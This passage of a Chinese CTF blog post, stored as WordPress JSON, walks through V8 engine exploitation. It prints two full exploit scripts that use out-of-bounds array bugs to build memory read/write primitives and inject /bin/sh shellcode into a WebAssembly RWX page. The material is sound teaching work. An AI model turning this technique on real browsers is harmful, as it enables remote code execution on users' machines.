- map: 0x099635fc09e1 &lt;Map&#91;56]&gt;\n - name: 0x099635fc4ae1 &lt;String&#91;#1]: 0&gt;\n - kind: NormalFunction\n - function_map_index: 144\n - formal_parameter_count: 0\n - expected_nof_properties: 0\n - language_mode: sloppy\n - data: 0x29c78a5e2009 &lt;WasmExportedFunctionData&gt; &lt;-- \u627e\u5230WasmExportedFunctionData\n - code (from data): 0x1fda7e782001 &lt;Code JS_TO_WASM_FUNCTION&gt;\n - function token position: -1\n - start position: -1\n - end position: -1\n - no debug info\n - scope info: 0x099635fc0c61 &lt;ScopeInfo&#91;0]&gt;\n - length: 0\n - feedback_metadata: 0x99635fc2a39: &#91;FeedbackMetadata]\n - map: 0x099635fc1319 &lt;Map&gt;\n - slot_count: 0\n\u200b\npwndbg&gt; job 0x29c78a5e2009 &lt;-- WasmExportedFunctionData\n0x29c78a5e2009: &#91;WasmExportedFunctionData] in OldSpace\n - map: 0x099635fc5879 &lt;Map&#91;40]&gt;\n - wrapper_code: 0x1fda7e782001 &lt;Code JS_TO_WASM_FUNCTION&gt;\n - instance: 0x29c78a5e1e71 &lt;Instance map = 0x21ba60f89789&gt; &lt;-- \u627e\u5230instance\n - function_index: 0\npwndbg&gt; telescope 0x29c78a5e1e70+0x88 &lt;-- instance+0x88\u7684\u4f4d\u7f6e\u5b58\u50a8\u7684\u5373\u4e3aRWX\u5185\u5b58\u9875\u8d77\u59cb\u5730\u5740\n00:0000\u2502   0x29c78a5e1ef8 \u2014\u25b8 0x2257a726c000 \u25c2\u2014 movabs r10, 0x2257a726c260 \/* 0x2257a726c260ba49 *\/\n01:0008\u2502   0x29c78a5e1f00 \u2014\u25b8 0xfaa2fd10971 \u25c2\u2014 0x71000021ba60f891\npwndbg&gt; vmmap 0x2257a726c000\nLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\n    0x2257a726c000     0x2257a726d000 rwxp     1000 0      <\/code><\/pre>\n\n\n\n<p>\u7531\u6b64\u53ef\u4ee5\u5199\u51fa\u6cc4\u9732RWX\u5185\u5b58\u9875\u8d77\u59cb\u5730\u5740\u7684\u4ee3\u7801\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var wasmCode = new Uint8Array(&#91;0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);\n\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule, {});\nvar f = wasmInstance.exports.main;\n\nvar f_addr = addressOf(f);\nconsole.log(\"&#91;*] leak wasm func addr: 0x\" + hex(f_addr));\n\nvar shared_info_addr = read64(f_addr + 0x18n) - 0x1n;\nvar wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;\nvar wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;\nvar rwx_page_addr = read64(wasm_instance_addr + 0x88n);\n\nconsole.log(\"&#91;*] leak rwx_page_addr: 0x\" + hex(rwx_page_addr));<\/code><\/pre>\n\n\n\n<p>\u7136\u540e\u5199\u5165shellcode:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>var shellcode = &#91;\n    0x2fbb485299583b6an,\n    0x5368732f6e69622fn,\n    0x050f5e5457525f54n\n];\n\nvar data_buf = new ArrayBuffer(24);\nvar data_view = new DataView(data_buf);\nvar buf_backing_store_addr = addressOf(data_buf) + 0x20n;\n\nwrite64(buf_backing_store_addr, rwx_page_addr);\ndata_view.setFloat64(0, i2f(shellcode&#91;0]), true);\ndata_view.setFloat64(8, i2f(shellcode&#91;1]), true);\ndata_view.setFloat64(16, i2f(shellcode&#91;2]), true);<\/code><\/pre>\n\n\n\n<p>\u5b8c\u6574exp:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d71. \u65e0\u7b26\u53f764\u4f4d\u6574\u6570\u548c64\u4f4d\u6d6e\u70b9\u6570\u7684\u8f6c\u6362\u4ee3\u7801\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\n\nvar buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n\n\/\/ \u6d6e\u70b9\u6570\u8f6c\u6362\u4e3a64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\nfunction f2i(f)\n{\n    float64&#91;0] = f;\n    return bigUint64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a\u6d6e\u70b9\u6570\nfunction i2f(i)\n{\n    bigUint64&#91;0] = i;\n    return float64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a16\u8fdb\u5236\u5b57\u8282\u4e32\nfunction hex(i)\n{\n    return i.toString(16).padStart(16, \"0\");\n}\n\n\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d72. addressOf\u548cfakeObject\u7684\u5b9e\u73b0\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\nvar obj = {\"a\": 1};\nvar obj_array = &#91;obj];\nvar float_array = &#91;1.1];\n\nvar obj_array_map = obj_array.oob();\nvar float_array_map = float_array.oob();\n\n\/\/ \u6cc4\u9732\u67d0\u4e2aobject\u7684\u5730\u5740\nfunction addressOf(obj_to_leak)\n{\n    obj_array&#91;0] = obj_to_leak;\n    obj_array.oob(float_array_map);\n    let obj_addr = f2i(obj_array&#91;0]) - 1n;\n    obj_array.oob(obj_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return obj_addr;\n}\n\n\/\/ \u5c06\u67d0\u4e2aaddr\u5f3a\u5236\u8f6c\u6362\u4e3aobject\u5bf9\u8c61\nfunction fakeObject(addr_to_fake)\n{\n    float_array&#91;0] = i2f(addr_to_fake + 1n);\n    float_array.oob(obj_array_map);\n    let faked_obj = float_array&#91;0];\n    float_array.oob(float_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return faked_obj;\n}\n\n\nvar fake_array = &#91;\n    float_array_map,\n    i2f(0n),\n    i2f(0x41414141n),\n    i2f(0x1000000000n),\n    1.1,\n    2.2,\n];\n\nvar fake_array_addr = addressOf(fake_array);\nvar fake_object_addr = fake_array_addr - 0x40n + 0x10n;\nvar fake_object = fakeObject(fake_object_addr);\n\nfunction read64(addr)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    let leak_data = f2i(fake_object&#91;0]);\n    console.log(\"&#91;*] leak from: 0x\" +hex(addr) + \": 0x\" + hex(leak_data));\n    return leak_data;\n}\n\nfunction write64(addr, data)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    fake_object&#91;0] = i2f(data);\n    console.log(\"&#91;*] write to : 0x\" +hex(addr) + \": 0x\" + hex(data));    \n}\n\nvar wasmCode = new Uint8Array(&#91;0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);\n\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule, {});\nvar f = wasmInstance.exports.main;\n\nvar f_addr = addressOf(f);\nconsole.log(\"&#91;*] leak wasm func addr: 0x\" + hex(f_addr));\n\nvar shared_info_addr = read64(f_addr + 0x18n) - 0x1n;\nvar wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;\nvar wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;\nvar rwx_page_addr = read64(wasm_instance_addr + 0x88n);\n\nconsole.log(\"&#91;*] leak rwx_page_addr: 0x\" + hex(rwx_page_addr));\n\nvar shellcode = &#91;\n    0x2fbb485299583b6an,\n    0x5368732f6e69622fn,\n    0x050f5e5457525f54n\n];\n\nvar data_buf = new ArrayBuffer(24);\nvar data_view = new DataView(data_buf);\nvar buf_backing_store_addr = addressOf(data_buf) + 0x20n;\n\nwrite64(buf_backing_store_addr, rwx_page_addr);\ndata_view.setFloat64(0, i2f(shellcode&#91;0]), true);\ndata_view.setFloat64(8, i2f(shellcode&#91;1]), true);\ndata_view.setFloat64(16, i2f(shellcode&#91;2]), true);\n\n\nf();\n<\/code><\/pre>\n\n\n\n<p>\u6210\u529fgetshell:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/3WFZBZ45@VDW5YU@GOS-1024x386.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"386\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/03\/3WFZBZ45@VDW5YU@GOS-1024x386.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-995\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"GHCTF_2025_ez_v8\"><\/span>GHCTF 2025 ez_v8<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>diff:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>diff --git a\/src\/bootstrapper.cc b\/src\/bootstrapper.cc\nindex b027d36b5e9..406ca1eac98 100644\n--- a\/src\/bootstrapper.cc\n+++ b\/src\/bootstrapper.cc\n@@ -1666,6 +1666,10 @@ void Genesis::InitializeGlobal(Handle&lt;JSGlobalObject&gt; global_object,\n                           false);\n     SimpleInstallFunction(isolate_, proto, \"copyWithin\",\n                           Builtins::kArrayPrototypeCopyWithin, 2, false);\n+    SimpleInstallFunction(isolate_, proto, \"Myread\",\n+                          Builtins::kMyread, 1, false);\n+    SimpleInstallFunction(isolate_, proto, \"Mywrite\",\n+                          Builtins::kMywrite, 2, false);\n     SimpleInstallFunction(isolate_, proto, \"fill\",\n                           Builtins::kArrayPrototypeFill, 1, false);\n     SimpleInstallFunction(isolate_, proto, \"find\",\ndiff --git a\/src\/builtins\/builtins-array.cc b\/src\/builtins\/builtins-array.cc\nindex 8df340ece7a..604a876df01 100644\n--- a\/src\/builtins\/builtins-array.cc\n+++ b\/src\/builtins\/builtins-array.cc\n@@ -361,6 +361,39 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,\n   return *final_length;\n }\n }  \/\/ namespace\n+BUILTIN(Myread) {\n+  uint32_t len = args.length();\n+  if( len &gt; 1 ) return ReadOnlyRoots(isolate).undefined_value();\n+  Handle&lt;JSReceiver&gt; receiver;\n+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n+         isolate, receiver, Object::ToObject(isolate,args.receiver()));\n+  Handle&lt;JSArray&gt; array = Handle&lt;JSArray&gt;::cast(receiver);\n+  FixedDoubleArray elements = FixedDoubleArray::cast(array-&gt;elements());\n+  uint32_t length = static_cast&lt;uint32_t&gt;(array-&gt;length()-&gt;Number());\n+  return *(isolate-&gt;factory()-&gt;NewNumber(elements.get_scalar(length)));\n+}\n+\n+BUILTIN(Mywrite) {\n+  uint32_t len = args.length();\n+  if( len &gt; 2 ) return ReadOnlyRoots(isolate).undefined_value();\n+  Handle&lt;JSReceiver&gt; receiver;\n+  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n+         isolate, receiver, Object::ToObject(isolate,args.receiver()));\n+  Handle&lt;JSArray&gt; array = Handle&lt;JSArray&gt;::cast(receiver);\n+  FixedDoubleArray elements = FixedDoubleArray::cast(array-&gt;elements());\n+  uint32_t length = static_cast&lt;uint32_t&gt;(array-&gt;length()-&gt;Number());\n+   \n+  if( len == 2) {\n+    Handle&lt;Object&gt; value;\n+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n+            isolate, value, Object::ToNumber(isolate, args.at&lt;Object&gt;(1)));\n+    elements.set(length,value-&gt;Number());\n+    return ReadOnlyRoots(isolate).undefined_value();\n+  }\n+  else{\n+    return ReadOnlyRoots(isolate).undefined_value();\n+  }\n+}\n \n BUILTIN(ArrayPush) {\n   HandleScope scope(isolate);\ndiff --git a\/src\/builtins\/builtins-definitions.h b\/src\/builtins\/builtins-definitions.h\nindex 04472309fc0..752a08ce7ca 100644\n--- a\/src\/builtins\/builtins-definitions.h\n+++ b\/src\/builtins\/builtins-definitions.h\n@@ -368,6 +368,8 @@ namespace internal {\n   TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel)     \\\n   \/* https:\/\/tc39.github.io\/proposal-flatMap\/#sec-Array.prototype.flatMap *\/   \\\n   TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel)  \\\n+  CPP(Myread)                                                                  \\\n+  CPP(Mywrite)                                                                 \\\n                                                                                \\\n   \/* ArrayBuffer *\/                                                            \\\n   \/* ES #sec-arraybuffer-constructor *\/                                        \\\ndiff --git a\/src\/compiler\/typer.cc b\/src\/compiler\/typer.cc\nindex ed1e4a5c6d8..11b28a92e13 100644\n--- a\/src\/compiler\/typer.cc\n+++ b\/src\/compiler\/typer.cc\n@@ -1678,6 +1678,10 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {\n       return Type::Boolean();\n     case Builtins::kArrayPrototypeSplice:\n       return Type::Receiver();\n+    case Builtins::kMyread:\n+      return Type::Receiver();\n+    case Builtins::kMywrite:\n+      return Type::Receiver();\n     case Builtins::kArrayUnshift:\n       return t-&gt;cache_-&gt;kPositiveSafeInteger;\n\n<\/code><\/pre>\n\n\n\n<p>\u7a0d\u5fae\u5ba1\u8ba1\u4e00\u4e0b\u5373\u53ef\u770b\u51fa\uff0c\u81ea\u5b9a\u4e49\u4e86Myread\u548cMywrite\u51fd\u6570\uff0c\u5176\u5b9e\u5c31\u662f\u628aoob\u8fd9\u9053\u9898\u7684oob\u51fd\u6570\u62c6\u5206\u6210\u4e86\u8fd9\u4e24\u4e2a\u51fd\u6570\u6765\u6267\u884c\uff0c\u76f4\u63a5\u7b80\u5355\u6539exp\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d71. \u65e0\u7b26\u53f764\u4f4d\u6574\u6570\u548c64\u4f4d\u6d6e\u70b9\u6570\u7684\u8f6c\u6362\u4ee3\u7801\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\n\nvar buf =new ArrayBuffer(16);\nvar float64 = new Float64Array(buf);\nvar bigUint64 = new BigUint64Array(buf);\n\n\/\/ \u6d6e\u70b9\u6570\u8f6c\u6362\u4e3a64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\nfunction f2i(f)\n{\n    float64&#91;0] = f;\n    return bigUint64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a\u6d6e\u70b9\u6570\nfunction i2f(i)\n{\n    bigUint64&#91;0] = i;\n    return float64&#91;0];\n}\n\/\/ 64\u4f4d\u65e0\u7b26\u53f7\u6574\u6570\u8f6c\u4e3a16\u8fdb\u5236\u5b57\u8282\u4e32\nfunction hex(i)\n{\n    return i.toString(16).padStart(16, \"0\");\n}\n\n\/\/ \u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d72. addressOf\u548cfakeObject\u7684\u5b9e\u73b0\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\u00d7\nvar obj = {\"a\": 1};\nvar obj_array = &#91;obj];\nvar float_array = &#91;1.1];\n\nvar obj_array_map = obj_array.Myread();\nvar float_array_map = float_array.Myread();\n\n\/\/ \u6cc4\u9732\u67d0\u4e2aobject\u7684\u5730\u5740\nfunction addressOf(obj_to_leak)\n{\n    obj_array&#91;0] = obj_to_leak;\n    obj_array.Mywrite(float_array_map);\n    let obj_addr = f2i(obj_array&#91;0]) - 1n;\n    obj_array.Mywrite(obj_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return obj_addr;\n}\n\n\/\/ \u5c06\u67d0\u4e2aaddr\u5f3a\u5236\u8f6c\u6362\u4e3aobject\u5bf9\u8c61\nfunction fakeObject(addr_to_fake)\n{\n    float_array&#91;0] = i2f(addr_to_fake + 1n);\n    float_array.Mywrite(obj_array_map);\n    let faked_obj = float_array&#91;0];\n    float_array.Mywrite(float_array_map); \/\/ \u8fd8\u539farray\u7c7b\u578b\uff0c\u4ee5\u4fbf\u540e\u7eed\u7ee7\u7eed\u4f7f\u7528\n    return faked_obj;\n}\n\n\nvar fake_array = &#91;\n    float_array_map,\n    i2f(0n),\n    i2f(0x41414141n),\n    i2f(0x1000000000n),\n    1.1,\n    2.2,\n];\n\nvar fake_array_addr = addressOf(fake_array);\nvar fake_object_addr = fake_array_addr - 0x40n + 0x10n;\nvar fake_object = fakeObject(fake_object_addr);\n\nfunction read64(addr)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    let leak_data = f2i(fake_object&#91;0]);\n    console.log(\"&#91;*] leak from: 0x\" +hex(addr) + \": 0x\" + hex(leak_data));\n    return leak_data;\n}\n\nfunction write64(addr, data)\n{\n    fake_array&#91;2] = i2f(addr - 0x10n + 0x1n);\n    fake_object&#91;0] = i2f(data);\n    console.log(\"&#91;*] write to : 0x\" +hex(addr) + \": 0x\" + hex(data));    \n}\n\nvar wasmCode = new Uint8Array(&#91;0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);\n\nvar wasmModule = new WebAssembly.Module(wasmCode);\nvar wasmInstance = new WebAssembly.Instance(wasmModule, {});\nvar f = wasmInstance.exports.main;\n\nvar f_addr = addressOf(f);\nconsole.log(\"&#91;*] leak wasm func addr: 0x\" + hex(f_addr));\n\nvar shared_info_addr = read64(f_addr + 0x18n) - 0x1n;\nvar wasm_exported_func_data_addr = read64(shared_info_addr + 0x8n) - 0x1n;\nvar wasm_instance_addr = read64(wasm_exported_func_data_addr + 0x10n) - 0x1n;\nvar rwx_page_addr = read64(wasm_instance_addr + 0x88n);\n\nconsole.log(\"&#91;*] leak rwx_page_addr: 0x\" + hex(rwx_page_addr));\n\nvar shellcode = &#91;\n    0x2fbb485299583b6an,\n    0x5368732f6e69622fn,\n    0x050f5e5457525f54n\n];\n\nvar data_buf = new ArrayBuffer(24);\nvar data_view = new DataView(data_buf);\nvar buf_backing_store_addr = addressOf(data_buf) + 0x20n;\n\nwrite64(buf_backing_store_addr, rwx_page_addr);\ndata_view.setFloat64(0, i2f(shellcode&#91;0]), true);\ndata_view.setFloat64(8, i2f(shellcode&#91;1]), true);\ndata_view.setFloat64(16, i2f(shellcode&#91;2]), true);\n\nf();\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>V8\u7684\u57fa\u7840\u77e5\u8bc6\u53ef\u4ee5\u8ddf\u7740Colin\u5e08\u5085\u7684\u535a\u5ba2\u5b66\u4e60\uff0c\u5199\u7684\u975e\u5e38\u8be6\u7ec6\uff1achrome v8 pwn \u5b66\u4e60 (1) | C [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,13],"tags":[25],"class_list":["post-987","post","type-post","status-publish","format-standard","hentry","category-17","category-13","tag-v8"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/987","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=987"}],"version-history":[{"count":3,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/987\/revisions"}],"predecessor-version":[{"id":997,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/987\/revisions\/997"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=987"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=987"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=987"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}